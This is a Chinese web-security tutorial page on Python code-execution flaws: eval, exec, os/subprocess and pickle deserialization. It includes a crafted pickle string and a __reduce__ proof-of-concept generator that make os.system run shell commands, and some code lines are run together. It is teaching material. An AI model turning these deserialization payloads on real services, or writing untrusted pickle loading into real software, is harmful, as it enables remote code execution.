首页 技术 正文
技术 2022年11月19日
0 收藏 807 点赞 4,101 浏览 1166 个字

风炫安全web安全学习第三十二节课 Python代码执行以及代码防御措施

Python 语言可能发生的命令执行漏洞

  • 内置危险函数
eval和exec函数

eval

eval是一个python内置函数,语法为eval(expression, globals=None,locals=None)

eval函数接收三个参数:其中 expression

参数是用做运算的字符串类型表达式;globals参数用于指定运行时的全局命名空间;Locals参数用于指定运行时的局部命名空间。globals与 locals 是可选参数,默认值是 None,他们只在运算时起作用,运算后则销毁。

exec

在Python2中exec是一个内置语句(statement)而不是一个函数,但是到了Python3中exec将Python2中作为内置语句的exec和execfile()函数功能整合到一起,成为了一个新的函数,语法为exec(object[, globals[,locals]])

exec的第一个参数可以是code object,因此它可以执行复杂的代码逻辑,例如变量赋值操作等,这一点是eval做不到的。但exec返回值永远为 None,因此exec不能像eval一样将计算结果返回。exec的后两个参数与eval一致

  • 标准库危险模块

    os
    subprocess
  • 反序列化:

    pickle和cpickle

    pickle.loads

>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0
import cPickle
import os
import urllibclass genpoc(object):
def __reduce__(self):
s = """ls /""" #要执行的命令
return os.system, (s,) #os.system("echo test >poc.txt")e = genpoc()
poc = cPickle.dumps(e)print poc
print urllib.quote(poc)
fp = open("poc.pickle","w")
fp.write(poc) # 生成 pickle文件-----------------------
import picklepickle.load(open('./poc.pickle'))

参考:

http://blog.evalshell.com/2020/12/20/风炫安全web安全学习第三十二节课-python代码执行以及代/

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,075
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,551
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,399
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,176
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,811
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,893